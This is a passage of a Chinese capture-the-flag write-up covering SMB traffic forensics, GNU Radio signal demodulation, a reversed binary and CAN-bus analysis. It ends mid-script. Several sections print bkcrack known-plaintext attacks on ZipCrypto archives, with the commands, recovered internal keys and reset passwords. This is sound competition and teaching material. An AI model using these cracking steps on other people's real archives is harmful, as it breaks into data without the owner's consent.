（直接从数据包中就能看到，在 <code>smb.sesid</code>）</p><ul><li>0x0000100000000031</li></ul><p>要转成小端序</p><p><img src="https://assets.bili33.top/img/CTF-PCB2025-Preliminary-Round-Writeup/1765620094305-106-1765621747344-226.png"></p><ul><li>3100000000100000</li></ul><p><img src="https://assets.bili33.top/img/CTF-PCB2025-Preliminary-Round-Writeup/1765620094306-107-1765621747344-227.png"></p><p>看到请求了一个 zip，直接弄出来，发现加密了，但是算法为 ZipCrypto Store</p><p><img src="https://assets.bili33.top/img/CTF-PCB2025-Preliminary-Round-Writeup/1765620094306-108-1765621747344-228.png"></p><p>里面是 exe，exe 文件有个部分比较固定，考虑 bkcrack，用 exe 的签名部分即可</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">$ <span class="built_in">echo</span> -n <span class="string">&quot;0E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000&quot;</span> | xxd -r -ps &gt; exe_header</span><br><span class="line">$ bkcrack -C %5cletter.zip -c letter.exe -p .\exe_header -o 64</span><br><span class="line">bkcrack 1.8.1 - 2025-10-25</span><br><span class="line">[11:28:27] Z reduction using 56 bytes of known plaintext</span><br><span class="line">100.0 % (56 / 56)</span><br><span class="line">[11:28:27] Attack on 141108 Z values at index 71</span><br><span class="line">Keys: 68cc45ab 864060ce ac958caa</span><br><span class="line">75.6 % (106623 / 141108)</span><br><span class="line">Found a solution. Stopping.</span><br><span class="line">You may resume the attack with the option: --continue-attack 106623</span><br><span class="line">[11:29:47] Keys</span><br><span class="line">68cc45ab 864060ce ac958caa</span><br><span class="line">$ bkcrack -C %5cletter.zip -k 68cc45ab 864060ce ac958caa -U output.zip Volcania</span><br><span class="line">bkcrack 1.8.1 - 2025-10-25</span><br><span class="line">[11:31:48] Writing unlocked archive output.zip with password <span class="string">&quot;Volcania&quot;</span></span><br><span class="line">100.0 % (1 / 1)</span><br><span class="line">Wrote unlocked archive.</span><br></pre></td></tr></table></figure><p>然后解压得到 exe</p><p><img src="https://assets.bili33.top/img/CTF-PCB2025-Preliminary-Round-Writeup/1765620094306-109-1765621747344-229.png"></p><div class="note info flat"><p>以下程序分析部分是队友做的</p></div><p>发现运行程序每次都只打印一个字符，但是直接搜 flag 搜不到，猜测是加密了运行时解密</p><p>下面有一段数据</p><p><img src="https://assets.bili33.top/img/CTF-PCB2025-Preliminary-Round-Writeup/1765620094306-112-1765621747344-231.png?v=1"></p><p>这段数据会被转换成 String</p><p><img src="https://assets.bili33.top/img/CTF-PCB2025-Preliminary-Round-Writeup/1765620094306-110-1765621747344-230.png?v=1"></p><p>然后在 <code>gen_pool</code> 通过指针传入了这个参数</p><p><img src="https://assets.bili33.top/img/CTF-PCB2025-Preliminary-Round-Writeup/1765620094306-111-1765621747344-232.png?v=1"></p><p>看到 <code>gen_pool</code> 函数的定义</p><p><img src="https://assets.bili33.top/img/CTF-PCB2025-Preliminary-Round-Writeup/1765620094306-113-1765621747344-233.png?v=1"></p><p><code>*(arg1 + 8)</code> 就对应的 String 的数据地址，在 shuffle 之前存在对传入的 String 的处理，可猜测数据是在这进行了解密</p><p>可在处理完后的地方打断点，看 <code>*(arg1 + 8)</code> 即可看到 Flag</p><p><img src="https://assets.bili33.top/img/CTF-PCB2025-Preliminary-Round-Writeup/1765620094306-114-1765621747344-234.png"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">flag&#123;N0w_U-V1ctory&#125;</span><br></pre></td></tr></table></figure><h2 id="ZipCracker-Solved"><a href="#ZipCracker-Solved" class="headerlink" title="ZipCracker | Solved"></a>ZipCracker | Solved</h2><p>不懂，先给AI看一眼</p><figure class="highlight markdown"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">这是一个 <span class="strong">**GNU Radio Companion (GRC)**</span> 的流程图文件（通常后缀为 <span class="code">`.grc`</span>）。</span><br><span class="line"></span><br><span class="line">GNU Radio 是一个开源的软件无线电（SDR）开发工具包，这个文件描述了一个信号处理的流程。</span><br><span class="line"></span><br><span class="line"><span class="section">### 文件内容分析 (CTF 角度)</span></span><br><span class="line"></span><br><span class="line">从代码结构来看，这个流程图正在模拟一个 <span class="strong">**NBFM (窄带调频) 发射机**</span>。以下是关键部分的解读：</span><br><span class="line"></span><br><span class="line"><span class="bullet">1.</span>  <span class="strong">**输入源 (Input):**</span></span><br><span class="line"><span class="bullet">    *</span>   <span class="code">`blocks_wavfile_source_0`</span>: 它尝试读取一个名为 <span class="code">`E:\Download\ZipCracker\password.wav`</span> 的音频文件。</span><br><span class="line"><span class="bullet">    *</span>   <span class="strong">**CTF 提示:**</span> 这个文件名 <span class="code">`password.wav`</span> 非常关键，暗示这个音频里包含了解压缩某个 ZIP 文件的密码。</span><br><span class="line"></span><br><span class="line"><span class="bullet">2.</span>  <span class="strong">**信号处理 (Processing):**</span></span><br><span class="line"><span class="bullet">    *</span>   <span class="code">`analog_nbfm_tx_0`</span>: 这是一个 NBFM 发射模块。它将输入的音频数据调制成射频信号（IQ 信号）。</span><br><span class="line"><span class="bullet">    *</span>   <span class="code">`pl_freq`</span>: 这里还加入了一个亚音（PL Tone），虽然默认值是 0.0，但在无线电通信中常用于静噪控制。</span><br><span class="line"></span><br><span class="line"><span class="bullet">3.</span>  <span class="strong">**输出 (Output):**</span></span><br><span class="line"><span class="bullet">    *</span>   <span class="strong">**文件输出**</span>: 流程图通过 <span class="code">`blocks_complex_to_float_0`</span> 将生成的复数 IQ 信号拆分成实部和虚部，分别写入：</span><br><span class="line"><span class="bullet">        *</span>   <span class="code">`flag1.txt`</span> (实部/I路)</span><br><span class="line"><span class="bullet">        *</span>   <span class="code">`flag2.txt`</span> (虚部/Q路)</span><br><span class="line"><span class="bullet">    *</span>   <span class="strong">**网络流**</span>: <span class="code">`zeromq_pub_sink_0`</span> 将数据发送到 <span class="code">`tcp://127.0.0.1:49201`</span>。</span><br><span class="line"></span><br><span class="line"><span class="section">### 这道题可能在考什么？</span></span><br><span class="line"></span><br><span class="line">这道题通常有两种考法：</span><br><span class="line"></span><br><span class="line"><span class="section">#### 情况 A：你需要恢复密码</span></span><br><span class="line">题目可能给了你 <span class="code">`flag1.txt`</span> 和 <span class="code">`flag2.txt`</span>（或者生成后的单一信号文件），你需要：</span><br><span class="line"><span class="bullet">1.</span>  <span class="strong">**合成 IQ 信号**</span>: 将两个 txt 文件的数据合并回一个复数 IQ 信号文件（通常是 <span class="code">`.cfile`</span> 或 <span class="code">`.raw`</span> 格式）。</span><br><span class="line"><span class="bullet">2.</span>  <span class="strong">**解调**</span>: 使用软件（如 GNU Radio, GQRX, 或者 Python 脚本）对这个信号进行 <span class="strong">**NBFM 解调**</span>。</span><br><span class="line"><span class="bullet">3.</span>  <span class="strong">**听音频**</span>: 解调后你会得到原始的音频，播放它，听里面说出的“密码”。</span><br><span class="line"><span class="bullet">4.</span>  <span class="strong">**解压**</span>: 用听到的密码去解压题目给的加密 ZIP 文件。</span><br><span class="line"></span><br><span class="line"><span class="section">#### 情况 B：你需要运行这个脚本</span></span><br><span class="line">如果题目给了你 <span class="code">`password.wav`</span> 但它是加密的或者损坏的，或者需要你生成特定的波形来获取 Flag。</span><br><span class="line">你需要安装 <span class="strong">**GNU Radio**</span> (Linux下常用，Windows也有)，用 <span class="code">`gnuradio-companion`</span> 打开这个文件。</span><br><span class="line"><span class="bullet">*</span>   <span class="strong">**注意**</span>: 你需要修改文件路径（比如 <span class="code">`E:\Download\ZipCracker\...`</span>）为你本地的实际路径，否则运行会报错。</span><br><span class="line"></span><br><span class="line"><span class="section">### 简单的解题思路 (针对情况 A)</span></span><br><span class="line"></span><br><span class="line">如果你手头有生成出来的 <span class="code">`flag1.txt`</span> 和 <span class="code">`flag2.txt`</span>，可以使用 Python 快速还原并解调（如果你不想装庞大的 GNU Radio）：</span><br><span class="line"></span><br><span class="line"><span class="bullet">1.</span>  读取两个文件，组合成 <span class="code">`I + jQ`</span> 的复数数组。</span><br><span class="line"><span class="bullet">2.</span>  使用 <span class="code">`numpy`</span> 或 <span class="code">`scipy`</span> 进行 FM 解调。</span><br><span class="line"><span class="bullet">3.</span>  保存为 <span class="code">`.wav`</span> 文件并收听。</span><br><span class="line"></span><br><span class="line">或者，如果题目只是给了这个文本内容让你分析：</span><br><span class="line"><span class="strong">**核心线索是：这是一个将 `password.wav` 进行 NBFM 调制并保存为 IQ 数据的脚本。你需要做的就是逆向这个过程（NBFM 解调）来听到密码。**</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">这是一个非常典型的无线电取证（SDR Forensics）题目。</span><br><span class="line"></span><br><span class="line">根据 GRC 文件分析，<span class="code">`flag1`</span> 和 <span class="code">`flag2`</span> 分别是 <span class="strong">**IQ 信号**</span> 的 <span class="strong">**I路（实部）**</span> 和 <span class="strong">**Q路（虚部）**</span> 数据。</span><br><span class="line">题目原始逻辑是：<span class="code">`音频`</span> -&gt; <span class="code">`NBFM调制`</span> -&gt; <span class="code">`IQ信号`</span> -&gt; <span class="code">`拆分保存`</span>。</span><br><span class="line">你需要做的逆向过程是：<span class="code">`合并IQ信号`</span> -&gt; <span class="code">`NBFM解调`</span> -&gt; <span class="code">`保存为音频`</span> -&gt; <span class="code">`听取密码`</span>。</span><br><span class="line"></span><br><span class="line">即使你没有安装 GNU Radio，也可以直接用 <span class="strong">**Python**</span> 脚本来处理这两个文件。</span><br><span class="line"></span><br><span class="line"><span class="section">### 核心参数提取（从 GRC 文件中）</span></span><br><span class="line"><span class="bullet">*</span>   <span class="strong">**采样率 (Sample Rate):**</span> GRC 中 <span class="code">`if_rate`</span> = <span class="code">`usrp_rate / 3`</span> = <span class="code">`576000 / 3`</span> = <span class="strong">**192000 Hz**</span>。</span><br><span class="line"><span class="bullet">*</span>   <span class="strong">**数据类型:**</span> <span class="code">`float`</span> (32位浮点数)。GNU Radio 的 File Sink 默认保存的是<span class="strong">**二进制**</span>数据，而不是人类可读的文本。</span><br><span class="line"></span><br><span class="line">---</span><br><span class="line"></span><br><span class="line"><span class="section">### 解题方法：使用 Python 脚本还原音频</span></span><br><span class="line"></span><br><span class="line">你需要安装 python 的 <span class="code">`numpy`</span> 和 <span class="code">`scipy`</span> 库：</span><br><span class="line"><span class="code">```bash</span></span><br><span class="line"><span class="code">pip install numpy scipy</span></span><br><span class="line"><span class="code">```</span></span><br><span class="line"></span><br><span class="line">然后运行以下脚本（将脚本放在 <span class="code">`flag1`</span> 和 <span class="code">`flag2`</span> 同目录下）：</span><br><span class="line"></span><br><span class="line"><span class="code">```python</span></span><br><span class="line"><span class="code">import numpy as np</span></span><br><span class="line"><span class="code">from scipy.io import wavfile</span></span><br><span class="line"><span class="code"></span></span><br><span class="line"><span class="code"># 1. 配置参数</span></span><br><span class="line"><span class="code"># 从 GRC 文件中分析得出：if_rate = 576000 / 3</span></span><br><span class="line"><span class="code">SAMPLE_RATE = 192000 </span></span><br><span class="line"><span class="code">FILENAME_I = &#x27;flag1.txt&#x27; # 如果题目给的文件名没有后缀，请自行修改为 &#x27;flag1&#x27;</span></span><br><span class="line"><span class="code">FILENAME_Q = &#x27;flag2.txt&#x27; # 同上，修改为 &#x27;flag2&#x27;</span></span><br><span class="line"><span class="code"></span></span><br><span class="line"><span class="code">print(&quot;正在读取文件...&quot;)</span></span><br><span class="line"><span class="code"></span></span><br><span class="line"><span class="code"># 2. 读取数据</span></span><br><span class="line"><span class="code"># GNU Radio 的 File Sink 默认存储为 raw binary float32</span></span><br><span class="line"><span class="code"># 如果你用记事本打开全是乱码，那就是二进制；如果是数字文本，需要改用 loadtxt</span></span><br><span class="line"><span class="code">try:</span></span><br><span class="line"><span class="code">    # 尝试作为二进制读取</span></span><br><span class="line"><span class="code">    data_i = np.fromfile(FILENAME_I, dtype=np.float32)</span></span><br><span class="line"><span class="code">    data_q = np.fromfile(FILENAME_Q, dtype=np.float32)</span></span><br><span class="line"><span class="code">except FileNotFoundError:</span></span><br><span class="line"><span class="code">    print(f&quot;错误：找不到文件，请确认文件名是否为 &#123;FILENAME_I&#125; 和 &#123;FILENAME_Q&#125;&quot;)</span></span><br><span class="line"><span class="code">    exit()</span></span><br><span class="line"><span class="code"></span></span><br><span class="line"><span class="code"># 确保两个文件长度一致</span></span><br><span class="line"><span class="code">min_len = min(len(data_i), len(data_q))</span></span><br><span class="line"><span class="code">data_i = data_i[:min_len]</span></span><br><span class="line"><span class="code">data_q = data_q[:min_len]</span></span><br><span class="line"><span class="code"></span></span><br><span class="line"><span class="code"># 3. 合成 IQ 复数信号</span></span><br><span class="line"><span class="code"># I 是实部，Q 是虚部</span></span><br><span class="line"><span class="code">iq_signal = data_i + 1j * data_q</span></span><br><span class="line"><span class="code"></span></span><br><span class="line"><span class="code">print(&quot;正在进行 NBFM 解调...&quot;)</span></span><br><span class="line"><span class="code"></span></span><br><span class="line"><span class="code"># 4. NBFM 解调 (非相干解调)</span></span><br><span class="line"><span class="code"># 核心原理：计算相邻采样点之间的相位差 (即频率)</span></span><br><span class="line"><span class="code"># result = angle( s[n] * conj(s[n-1]) )</span></span><br><span class="line"><span class="code">demodulated = np.angle(iq_signal[1:] * np.conj(iq_signal[:-1]))</span></span><br><span class="line"><span class="code"></span></span><br><span class="line"><span class="code"># 5. 音频后处理</span></span><br><span class="line"><span class="code"># 归一化到 -1.0 到 1.0 之间，防止爆音</span></span><br><span class="line"><span class="code">demodulated = demodulated / np.max(np.abs(demodulated))</span></span><br><span class="line"><span class="code"></span></span><br><span class="line"><span class="code"># 6. 保存为 WAV 文件</span></span><br><span class="line"><span class="code">OUTPUT_FILE = &#x27;recovered_password.wav&#x27;</span></span><br><span class="line"><span class="code">wavfile.write(OUTPUT_FILE, SAMPLE_RATE, demodulated.astype(np.float32))</span></span><br><span class="line"><span class="code"></span></span><br><span class="line"><span class="code">print(f&quot;完成！请播放 &#123;OUTPUT_FILE&#125; 听取密码。&quot;)</span></span><br><span class="line"><span class="code">```</span></span><br><span class="line"></span><br><span class="line"><span class="section">### 拿到音频后怎么办？</span></span><br><span class="line"></span><br><span class="line"><span class="bullet">1.</span>  <span class="strong">**播放音频**</span>：生成的 <span class="code">`recovered_password.wav`</span> 可能会有明显的底噪（嘶嘶声），这是 NBFM 解调的特性。</span><br><span class="line"><span class="bullet">2.</span>  <span class="strong">**听取内容**</span>：</span><br><span class="line"><span class="bullet">    *</span>   如果是<span class="strong">**人声**</span>，仔细听他在读什么（通常是英语字母或数字）。</span><br><span class="line"><span class="bullet">    *</span>   如果是<span class="strong">**“滴滴滴”**</span>的声音，可能是摩斯电码。</span><br><span class="line"><span class="bullet">    *</span>   如果是<span class="strong">**怪异的拨号声**</span>，可能是 DTMF 信号（可以用手机上的 DTMF 识别软件或 Audacity 分析频谱）。</span><br><span class="line"><span class="bullet">3.</span>  <span class="strong">**解压**</span>：题目名字叫 <span class="code">`zipcracker`</span>，说明这个 flag 或者是解压密码，或者是需要你根据听到的内容去构造 flag。</span><br><span class="line"></span><br><span class="line"><span class="section">### 常见问题排错</span></span><br><span class="line"></span><br><span class="line"><span class="bullet">*</span>   <span class="strong">**读取报错？**</span></span><br><span class="line"><span class="bullet">    *</span>   如果脚本运行出来的音频全是噪音，没有任何有效信息，检查一下 <span class="code">`flag1`</span> 和 <span class="code">`flag2`</span> 文件内容。用记事本打开，如果是<span class="strong">**人类可读的数字**</span>（例如 <span class="code">`0.1234`</span>），则脚本中 <span class="code">`np.fromfile`</span> 需要改为 <span class="code">`np.loadtxt`</span>。但根据 GR 默认行为，大概率是二进制乱码。</span><br><span class="line"><span class="bullet">*</span>   <span class="strong">**语速太快/太慢？**</span></span><br><span class="line"><span class="bullet">    *</span>   修改脚本中的 <span class="code">`SAMPLE_RATE`</span>。如果声音像花栗鼠，把采样率改低（比如 48000）；如果声音像巨人，把采样率改高。但 192000 是根据题目计算出的理论正确值。</span><br><span class="line"><span class="bullet">*</span>   <span class="strong">**声音太小？**</span></span><br><span class="line"><span class="bullet">    *</span>   使用 Audacity 打开生成的 wav 文件，进行“放大（Amplify）”处理。</span><br></pre></td></tr></table></figure><p>OK，用脚本处理一下，丢进 AU，很明显的摩斯电码</p><p><img src="https://assets.bili33.top/img/CTF-PCB2025-Preliminary-Round-Writeup/1765620094306-115-1765621747345-235.png"></p><p><img src="https://assets.bili33.top/img/CTF-PCB2025-Preliminary-Round-Writeup/1765620094306-116-1765621747345-236.png"></p><p>得到密码，解压给到的 flag.zip</p><p><img src="https://assets.bili33.top/img/CTF-PCB2025-Preliminary-Round-Writeup/1765620094306-117-1765621747345-237.png"></p><p><img src="https://assets.bili33.top/img/CTF-PCB2025-Preliminary-Round-Writeup/1765620094306-118-1765621747345-238.png"></p><p>好好好今天是 bkcrack 专场是吧</p><p>把 flag.txt 的明文头和尾巴拆成了两部分，放到 head.txt 和 tail.txt</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">$ bkcrack -C flag.zip -c flag.txt -p head.txt -o 0 -x 25 2121217d</span><br><span class="line">bkcrack 1.8.1 - 2025-10-25</span><br><span class="line">[15:13:59] Z reduction using 1 bytes of known plaintext</span><br><span class="line">100.0 % (1 / 1)</span><br><span class="line">[15:13:59] Attack on 2555904 Z values at index 6</span><br><span class="line">Keys: 33b19021 93c4a78d 9ceed931</span><br><span class="line">13.3 % (339167 / 2555904)</span><br><span class="line">Found a solution. Stopping.</span><br><span class="line">You may resume the attack with the option: --continue-attack 339167</span><br><span class="line">[15:17:16] Keys</span><br><span class="line">33b19021 93c4a78d 9ceed931</span><br><span class="line"></span><br><span class="line">$ bkcrack -C flag.zip -k 33b19021 93c4a78d 9ceed931 -U flag-nopasswd.zip <span class="string">&quot;Volcania&quot;</span></span><br><span class="line">bkcrack 1.8.1 - 2025-10-25</span><br><span class="line">[15:17:52] Writing unlocked archive flag-nopasswd.zip with password <span class="string">&quot;Volcania&quot;</span></span><br><span class="line">100.0 % (1 / 1)</span><br><span class="line">Wrote unlocked archive.</span><br></pre></td></tr></table></figure><p>得到真正的 flag</p><p><img src="https://assets.bili33.top/img/CTF-PCB2025-Preliminary-Round-Writeup/1765620094306-119-1765621747345-239.png"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">flag&#123;Y0u_r_th3_Z1p_k1ng!!!!!&#125;</span><br></pre></td></tr></table></figure><h2 id="The-Rogue-Beacon-Solved"><a href="#The-Rogue-Beacon-Solved" class="headerlink" title="The_Rogue_Beacon | Solved"></a>The_Rogue_Beacon | Solved</h2><p>给了总线信号数据包</p><p><img src="https://assets.bili33.top/img/CTF-PCB2025-Preliminary-Round-Writeup/1765620094306-120-1765621747345-241.png"></p><p>有 0x244，这个是车速信号，直接提取 0x244 最大的那个就好了，然后避开那种看起来很可疑的东西</p><p>让 AI 直接撸一个脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line"><span class="keyword">import</span> matplotlib.pyplot <span class="keyword">as</span> plt</span><br><span class="line"><span class="keyword">from</span> scapy.<span class="built_in">all</span> <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line"><span class="comment"># ================= 配置 =================</span></span><br><span class="line">TARGET_ID = <span class="number">0x244</span>  <span class="comment"># 目标 ID</span></span><br><span class="line"><span class="comment"># 根据你的样本 0000001b16，有效数据在最后两个字节</span></span><br><span class="line">BYTE_START = <span class="number">3</span> </span><br><span class="line">BYTE_END = <span class="number">5</span></span><br><span class="line"><span class="comment"># ========================================</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">    <span class="keyword">from</span> scapy.layers.can <span class="keyword">import</span> CAN</span><br><span class="line"><span class="keyword">except</span> ImportError:</span><br><span class="line">    load_contrib(<span class="string">&#x27;can&#x27;</span>)</span><br><span class="line"></span><br><span class="line">pcap_file = <span class="string">&#x27;The Rogue Beacon.pcapng&#x27;</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;[+] 正在读取 <span class="subst">&#123;pcap_file&#125;</span> ...&quot;</span>)</span><br><span class="line">packets = rdpcap(pcap_file)</span><br><span class="line"></span><br><span class="line">indices = []</span><br><span class="line">values = []</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;[+] 正在提取 ID <span class="subst">&#123;<span class="built_in">hex</span>(TARGET_ID)&#125;</span> 的 Byte <span class="subst">&#123;BYTE_START&#125;</span>-<span class="subst">&#123;BYTE_END&#125;</span> 数据...&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> idx, pkt <span class="keyword">in</span> <span class="built_in">enumerate</span>(packets, <span class="number">1</span>):</span><br><span class="line">    <span class="keyword">if</span> pkt.haslayer(CAN):</span><br><span class="line">        can = pkt.getlayer(CAN)</span><br><span class="line">        <span class="keyword">if</span> can.identifier == TARGET_ID:</span><br><span class="line">            data = can.data</span><br><span class="line">            </span><br><span class="line">            <span class="comment"># 确保数据长度足够</span></span><br><span class="line">            <span class="keyword">if</span> <span class="built_in">len</span>(data) &gt;= BYTE_END:</span><br><span class="line">                hex_val = data[BYTE_START:BYTE_END]</span><br><span class="line">                val = <span class="built_in">int</span>.from_bytes(hex_val, byteorder=<span class="string">&#x27;big&#x27;</span>)</span><br><span class="line">                </span><br><span class="line">                indices.append(idx)</span><br><span class="line">                values.append(val)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> <span class="keyword">not</span> values:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;[-] 错误：没有提取到数据，请检查 ID 或 长度。&quot;</span>)</span><br><span class="line">    exit()</span><br><span class="line"></span><br><span class="line"><span class="comment"># 将数据打包排序：(index, value)，按 value 从大到小排</span></span><br><span class="line">sorted_data = <span class="built_in">sorted</span>(<span class="built_in">zip</span>(indices, values), key=<span class="keyword">lambda</span> x: x[<span class="number">1</span>], reverse=<span class="literal">True</span>)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;\nTop 5 最大值候选:&quot;</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;Rank\tPacket_Index\tValue (Dec)\tValue (Hex)&quot;</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;-&quot;</span> * <span class="number">50</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">min</span>(<span class="number">5</span>, <span class="built_in">len</span>(sorted_data))):</span><br><span class="line">    idx, val = sorted_data[i]</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;#<span class="subst">&#123;i+<span class="number">1</span>&#125;</span>\t<span class="subst">&#123;idx&#125;</span>\t\t<span class="subst">&#123;val&#125;</span>\t\t<span class="subst">&#123;<span class="built_in">hex</span>(val)&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;-&quot;</span> * <span class="number">50</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># ================= 修改部分：自动计算 Top 1 的 Flag =================</span></span><br><span class="line"><span class="keyword">if</span> sorted_data:</span><br><span class="line">    <span class="comment"># 直接取排序后的第一个（最大值）</span></span><br><span class="line">    best_idx = sorted_data[<span class="number">0</span>][<span class="number">0</span>]</span><br><span class="line">    best_val = sorted_data[<span class="number">0</span>][<span class="number">1</span>]</span><br><span class="line">    </span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;\n[+] 自动锁定最大值数据包: Packet #<span class="subst">&#123;best_idx&#125;</span> (Value: <span class="subst">&#123;best_val&#125;</span>)&quot;</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 计算 SHA256</span></span><br><span class="line">    flag_hash = hashlib.sha256(<span class="built_in">str</span>(best_idx).encode()).hexdigest()</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;\n[SUCCESS] 你的 